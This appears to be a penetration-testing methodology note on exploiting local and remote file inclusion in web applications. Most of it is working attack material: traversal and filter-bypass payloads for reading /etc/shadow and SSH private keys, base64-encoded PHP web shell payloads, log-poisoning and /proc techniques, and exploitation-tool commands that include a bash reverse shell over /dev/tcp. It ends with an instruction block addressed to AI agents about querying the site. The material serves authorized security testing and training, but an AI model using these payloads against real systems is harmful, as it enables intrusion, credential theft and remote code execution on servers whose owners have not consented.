# Exploitation - Local and remote file inclusions The File Inclusion vulnerability allows for the include of a file locally present on the server or remotely hosted on a webserver, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time. The vulnerability occurs due to the use of user-supplied input without proper validation. A file include vulnerability is distinct from a generic Directory Traversal Attack, in that directory traversal is a way of gaining unauthorized file system access, and a file inclusion vulnerability subverts how an application loads code for execution. ### File Inclusion vulnerability detection In black box testing, look for scripts which take filenames as parameters, such as the following examples: ``` http://vulnerable_host/preview.php?file=example.html http://vulnerable_host/?op=home ``` Try to access freely accessible files, such as: ``` # Linux /etc/passwd # Windows WINDOWS\System32\drivers\etc\hosts ``` ### File access **Basic** Typical proof-of-concept for basic LFI would be: ``` # Linux ?file=../../../../../../../../../../etc/passwd # Windows ?file=..\..\..\..\..\..\..\..\..\..\WINDOWS\System32\drivers\etc\hosts ``` **Files of interest** The following Linux files can be of interest: ``` # System information /etc/issue # System users account information /etc/passwd # System users account hashed password /etc/shadow # System groups information /etc/group /home//.ssh/id_rsa /root/.ssh/id_rsa /home//.ssh/authorized_keys /root/.ssh/authorized_keys ``` **Null Byte** In some cases, the server will append an extension at the end of the requested file, such as ".php”. Such mechanisms can be bypassed using the line terminator char *null byte*: ``` # Linux ?file=../../../../../../../../../../etc/passwd%00 # Windows ?file=..\..\..\..\..\..\..\..\..\..\WINDOWS\System32\drivers\etc\hosts%00 ``` **Double encoding** Encoding parameters twice in hexadecimal format can be leveraged to bypass security controls such as blacklist filters.\ For example, the '.' (*dot*) character represent %2E in hexadecimal representation. When the % symbol is encoded again, its representation in hexadecimal code is %25. The result from the double encoding process is %252E. ``` # Linux ?file=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd # Windows ?file=%252e%252e%255c%252e%252e%255c%252e%252e%255cWINDOWS%255cSystem32%255cdrivers%255cetc%255chosts ``` **Filter bypass** Some blacklist filter may be implemented and restrict the usage of "../".\ Those kind of filter may be passed using the following payloads: ``` # Linux ?file=..././..././..././etc/passwd ?file=....//....//etc/passwd ?file=..///////..////..//////etc/passwd # Windows ?file=....\\....\\....\\....\\....\\....\\WINDOWS\System32\drivers\etc\hosts%00 ?file=..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\WINDOWS\System32\drivers\etc\hosts%00 ``` **PHP wrappers** **php\://filter**\ This PHP wrapper can be used to access the source code of the page: ``` # Base64 encoding ?page=php://filter/convert.base64-encode/resource=config.php ?page=php://filter/convert.base64-encode/resource=config.php%00 # rot13 encoding ?page=php://filter/read=string.rot13/resource=config.php ?page=php://filter/read=string.rot13/resource=config.php%00 ``` ### Remote Code Execution **Basic remote file inclusion** If a File Inclusion vulnerability can be used to include remote files, the vulnerability could be leveraged to make the web application retrieve and execute a remote script. The included script must be in a language supported by the web application. Refer to the `[General] Shell` note for web and reverse shell payloads. ``` ?file= ``` **File upload** If the web application exposes an upload functionality, the uploaded files could be leveraged through a local file inclusion to execute code on the target. If no filter restrict the uploaded files type, the uploaded files should be in a language supported by the web application to achieve code execution. Refer to the `[General] Shell` note for web and reverse shell payloads. Multiples filters can however limit the files type accepted by the web application * client-side restrictions using `JavaScript`, etc. * HTTP `Content-Type` verification * file extension black or white listing Knowledge of the uploaded files path could be needed in order to include the files through the local file inclusion vulnerability if the upload directory is different from the file inclusion vulnerability working directory. The upload directory path may be leaked by the web application, usually in error messages or in settings / configuration web pages. Refer to the `[WebApps] File upload` note for more information on how to bypass upload filters and retrieve the uploaded file path. **PHP wrappers** *data* The PHP *data://* wrapper allows for the injection and execution of PHP code given in parameter: ``` # ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2B # ?page=data://text/plain;base64,PD8gcGhwIHN5c3RlbSgkX0dFVFsnY21kJ10pOyA%2fPg%3d%3d # XSS (alert(1)) ?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+ ``` *expect* The PHP *expect://* wrapper allows execution of system commands but is not enabled by default. ``` php?page=expect://whoami ``` *input* The PHP *input://* wrapper allows for the injection and execution of PHP code given in the POST request body: ``` POST .../?page=php://input&cmd=whoami ... ``` *zip / phar* The *zip\://* and *phar://* wrappers can be used to achive code execution if a zip or phar archive can be upload to the server: ``` #
echo "
" > payload.php; zip payload.zip payload.php; # As the file extension does not matter, a file with a jpg extension can be uploaded mv payload.zip shell.jpg; # zip://%23&cmd= ?page=zip://shell.jpg%23payload&cmd=whoami ?page=zip://shell.jpg%23payload.php ``` **Log files contamination** Code can be injected into log files, principle known as log files contamination, in order to be executed whenever accessing the log files through a LFI. On Linux, the log files of the Apache, SSH, FTP or SMTP services can be targeted. *Apache* The server access log records all requests processed by the server and the server error log contains any errors encountered while processing requests. The access log may record the request GET parameters as well as the User-Agent and Referer HTTP headers. Depending on the configured level of error logging enabled on the server, the error log files may record the URI for missing requested resources (HTTP error 404). Possible `httpd.conf` locations, in which access, error or custom log files locations may be defined: ``` /etc/apache2/httpd.conf /etc/apache2/apache2.conf /etc/httpd/httpd.conf /etc/httpd/conf/httpd.conf ``` Additionally, the following locations could be used for the Apache access / error log files: ``` # Access log files possible locations /var/log/apache/access.log /var/log/apache2/access.log /var/log/apache/access_log /var/log/apache2/access_log /var/log/httpd/access.log /var/log/httpd/access_log /apache/logs/access.log /etc/httpd/logs/acces.log /etc/httpd/logs/acces_log /usr/local/apache/logs/access.log /usr/local/apache/logs/access_log /var/log/access.log /var/log/access_log /usr/local/apache/log /usr/local/apache/logs /var/www/log/access.log /var/www/log/access_log /var/www/logs/access.log /var/www/logs/access_log /var/apache/logs/access_log /var/log/nginx/access.log /var/log/apache-ssl/access.log /var/log/httpsd/ssl.access_log /var/log/httpsd/ssl_log /opt/lampp/logs/access_log /usr/local/www/logs/thttpd_log /var/log/thttpd_log C:\apache\logs\access.log C:\Program Files\Apache Group\Apache\logs\access.log C:\program files\wamp\apache2\logs C:\wamp\apache2\logs C:\wamp\logs C:\xampp\apache\logs\access.log # Error log files possible locations /var/log/apache/error.log /var/log/apache2/error.log /var/log/apache/error_log /var/log/apache2/error_log /var/log/httpd/error.log /var/log/httpd/error_log /apache/logs/error.log /etc/httpd/logs/error.log /etc/httpd/logs/error_log /usr/local/apache/logs/error.log /usr/local/apache/logs/error_log /var/log/error.log /var/log/error_log /usr/local/apache/error /usr/local/apache/errors /var/www/log/error.log /var/www/log/error_log /var/www/logs/error.log /var/www/logs/error_log /var/apache/logs/error_log /var/log/nginx/error.log /var/log/apache-ssl/error.log /opt/lampp/logs/error_log C:\apache\logs\error.log C:\Program Files\Apache Group\Apache\logs\error.log C:\xampp\apache\logs\error.log ``` *SSH / FTP* Every connection attempts to the SSH or FTP services may be logged. As the username specified for the connection attempt is recorded, it can be used as an injection point. Default configuration files locations that define the SSH / FTP services log files location: ``` /etc/ssh/sshd_config /etc/vsftpd.conf ``` `rsyslog`, an open-source software utility used on UNIX and Unix-like computer systems, may be deployed on the targeted system to centralize logs. The utility configuration is defined in the `/etc/rsyslog.conf` configuration file and the authentication log policies are specified in the sub-system `auth.*` ``` # SSH log files possible locations /var/log/sshd.log # FTP log files possible locations /var/log/vsftpd.log /var/log/sftp.log /var/log/ftp.log /var/log/messages /var/log/xferlog # Failed attempts /var/log/auth.log ``` *SMTP Log Poisioning* Information about the emails sent through the service may be logged. By default Postfix notably includes email addresses of the sender and recipients. Refer to the `L7 SMTP - Methodology` note for more information on how to manually send emails through a SMTP service. ``` /var/log/mail ``` **Proc environ or files descriptor injection** The `/proc/self/environ` file contains the environment variables of the current process and notably, for an Apache process, the variable `HTTP_USER_AGENT` set from the User-Agent requests. Making requests containing code in the HTTP User-Agent header and accessing the `/proc/self/environ` file through a LFI could result in code execution. Note that on modern Linux systems this file is not accessible to unprivileged users. Environment variables of others processes can also be accessed by privileged users using `/proc//environ` and could also be exploited, given the web service is running under elevated privileges and the environment variables of an other process can be populated through user controlled parameter. The `/proc/self/fd/` and `/proc//fd/` files references the pipes or sockets opened respectively by the current and the specified process. Theses files are used for inter process communication and may include content populated through user controlled parameters. If such content can be identified, for example the logging of requests processed or active session cookies defined, a LFI vulnerability could be leveraged into code execution. **PHP sessions** By default, PHP stores information about the active sessions in `/var/lib/php/sess_` or `/var/lib/php5/sess_` (PHP5). For instance the session `PHPSESSID=uv06hljg4igcfkf3nsk9tsjle5` would be stored in `/var/lib/php5/sess_uv06hljg4igcfkf3nsk9tsjle5`. The default session files locations can be modified using the `session.save_path` configuration directive in the `php.ini` configuration file or at runtime using `ini_set('session.save_path', '/path/sessions/folder')`. **phpinfo()** If available, a page executing and returning the PHP's `phpinfo()` function could be used to leverage a LFI vulnerability into remote code execution. The `phpinfo()` function returns the currently defined variables in its scope, notably including the values sent through the request `GET` or `POST` parameters and the uploaded file `_FILES`, which contains the temporary file upload location on the file system `tmp_name`. The temporary uploaded file only exists while the PHP processor is operating on the requested .php file, and is deleted at the end of processing. By making multiple large upload `POST` requests to the `phpinfo` script with a number of large HTTP headers, it is possible to increase the processing time in order to retrieve the name of a temporary file and access it through the LFI vulnerability before deletion. More information about this exploit technique can be found here: `https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf` Additionally, the `LFISuite` tool presented below can be used to automatically exploit this technique. ### Automatic exploit tools **Kadimus** *LFISuite offers a more complete approach* `Kadimus` is CLI tool to automatically scan and exploit Local File Inclusion vulnerabilities using the following methods of attack: * /var/log/auth.log RCE * /proc/self/environ RCE * php\://input RCE * data://text RCE ``` # Scan for LFI vulnerability kadimus -t 20 [--cookie ] -u # Simple command shell kadimus -u --parameter -T --shell # Reverse shell kadimus -u --parameter -T -l -c 'bash -i >& /dev/tcp// 0>&1' --retry-times 0 kadimus -u --parameter -T -l -c '' --retry-times 0 ``` **LFISuite** `LFISuite` is CLI multi-platforms (Windows, Linux and OS X) tool to automatically scan and exploit Local File Inclusion vulnerabilities. It provides a more exhaustive list of possible log files locations and also offers more attacks methods that `Kadimus`: * /proc/self/environ * php\://filter * php\://input * /proc/self/fd * access log * phpinfo * data:// * expect:// All methods above can be tried automatically by specifying the `Auto-Hack` modality. If a LFI vulnerability is detected, the `reverseshell` command can be used to start a reverse shell. ``` python lfisuite.py -------------------- 1) Exploiter 2) Scanner x) Exit -------------------- -> 1 ____________________________ Available Injections ____________________________ [...] 9) Auto-Hack x) Back ____________________________ -> 9 [*] Enter the URL you want to try to hack (ex: 'http://site/vuln.php?id=') -> ``` *** ### References --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://notes.qazeer.io/web-applications/exploitation-local_and_remote_file_inclusions.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.